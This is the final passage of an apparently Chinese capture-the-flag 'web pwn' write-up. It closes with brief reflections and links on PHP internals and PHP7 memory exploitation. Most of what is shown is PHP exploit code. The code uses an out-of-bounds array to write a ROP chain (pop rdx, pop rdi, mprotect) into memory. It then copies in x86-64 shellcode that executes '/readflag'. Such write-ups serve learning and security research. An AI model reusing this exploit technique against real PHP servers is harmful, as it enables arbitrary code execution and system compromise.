$oob[$offset+$j] = chr($pop_rdx & 0xFF); $pop_rdx = $pop_rdx >> 0x8; } $offset += 0x8; $data = 0x7; for ($j=0;$j<8;$j++) { $oob[$offset+$j] = chr($data & 0xFF); $data = $data >> 0x8; } $offset += 0x10; for ($j=0;$j<8;$j++) { $oob[$offset+$j] = chr($pop_rdi & 0xFF); $pop_rdi = $pop_rdi >> 0x8; } $offset += 8; $stack_addr = $offset + ($oob_self_obj_addr + 0x18); $data = $stack_addr ^ ($stack_addr & 0xfff); for ($j=0;$j<8;$j++) { $oob[$offset+$j] = chr($data & 0xFF); $data = $data >> 0x8; } $offset += 8; $data = $mprotect_addr; for ($j=0;$j<8;$j++) { $oob[$offset+$j] = chr($data & 0xFF); $data = $data >> 0x8; } $offset += 8; $data = $stack_addr+0x18; for ($j=0;$j<8;$j++) { $oob[$offset+$j] = chr($data & 0xFF); $data = $data >> 0x8; } $stack_addr += 0x18; $offset += 0x8; $shellcode = "\x55\x48\x89\xE5\x48\x83\xEC\x30\x48\xB8\x2F\x72\x65\x61\x64\x66\x6C\x61\x48\x89\x45\xF0\x48\xC7\xC0\x67\x00\x00\x00\x48\x89\x45\xF8\x48\x8D\x7D\xF0\x48\xC7\xC6\x00\x00\x00\x00\x48\xC7\xC2\x00\x00\x00\x00\xB8\x3B\x00\x00\x00\x0F\x05"; $len = strlen($shellcode); //写shellcode for ($j=0;$j<$len;$j++) { $oob[$offset+$j] = $shellcode[$j]; } ?>
0x04 感想 第一次接触WEB PWN,突然觉得php语言的模块功能好灵活方便,WEB PWN也挺有趣。
0x05 参考链接 [ PHP 内核与扩展开发系列] PHP 生命周期 —— 启动、终止与模式](https://laravelacademy.org/post/7152.html )PHP扩展之PHP的启动和停止 php7扩展开发 一 获取参数 php-src PHP7 Memory Exploitation